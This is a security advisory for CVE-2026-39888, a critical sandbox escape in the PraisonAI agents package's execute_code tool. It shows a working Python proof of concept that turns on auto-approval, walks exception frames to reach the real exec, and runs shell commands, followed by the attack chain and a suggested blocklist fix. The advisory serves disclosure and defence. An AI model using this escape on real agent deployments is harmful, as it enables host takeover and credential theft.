CVE-2026-39888: Praisonaiagents PraisonAI Has Sandbox Escape Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qf73-2hrx-xprp",
  "modified" : "2026-04-09T14:29:06Z",
  "published" : "2026-04-08T19:17:28Z",
  "aliases" : [ "CVE-2026-39888" ],
  "summary" : "PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)",
  "details" : "## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\nembedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names — a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n| `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name — bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n\n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets — one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__', '__init_subclass__',\n    '__set_name__', '__reduce__', '__reduce_ex__',\n    '__traceback__', '__qualname__', '__module__',   # ← present here\n    '__wrapped__', '__closure__', '__annotations__',\n    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',\n    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here\n    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here\n    'co_consts', 'co_names',\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries — the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__'\n    # __traceback__, tb_frame, f_back, f_builtins — all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython's C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\nas a defence-in-depth layer. `_execute_code_sandboxed` has no such layer —\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\"   # any shell command\n\npayload = f\"\"\"\ntry:\n    1/0\nexcept ZeroDivisionError as e:\n    _p = e.__traceback__.tb_frame.f_back\n    _x = _p.f_builtins[\"exec\"]\n    _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n       {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n<img width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" />\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n| AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` — `func.id` is `'_x'`, not `'exec'` |\n| Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n  └─ _execute_code_sandboxed()\n       └─ subprocess: exec(user_code, safe_globals)\n            └─ user_code raises ZeroDivisionError\n                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs\n                      └─ .tb_frame           ← tb_frame not in blocked_attrs\n                           └─ .f_back        ← f_back not in blocked_attrs\n                                └─ .f_builtins  ← f_builtins not in blocked_attrs\n                                     └─ [\"exec\"]  ← dict subscript, no attr check\n                                          └─ _x(\"import subprocess; ...\")\n                                               └─ RCE\n```\n\n---\n\n## Impact\n\nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input — including all standard PraisonAI agent deployments — is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** — source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** — API keys, secrets passed to the agent process\n- **Network access** — outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** — the subprocess inherits the host's network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__', '__init_subclass__',\n    '__set_name__', '__reduce__', '__reduce_ex__',\n    '__traceback__', '__qualname__', '__module__',    # ← ADD\n    '__wrapped__', '__closure__', '__annotations__',  # ← ADD\n    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD\n    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD\n    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD\n    'co_consts', 'co_names',                          # ← ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith('_'):\n    return f\"Access to private attribute '{node.attr}' is restricted\"\n```\n\n### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`'s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.115"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.114"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39888"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-657", "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T19:17:28Z",
    "nvd_published_at" : "2026-04-08T21:17:00Z"
  }
}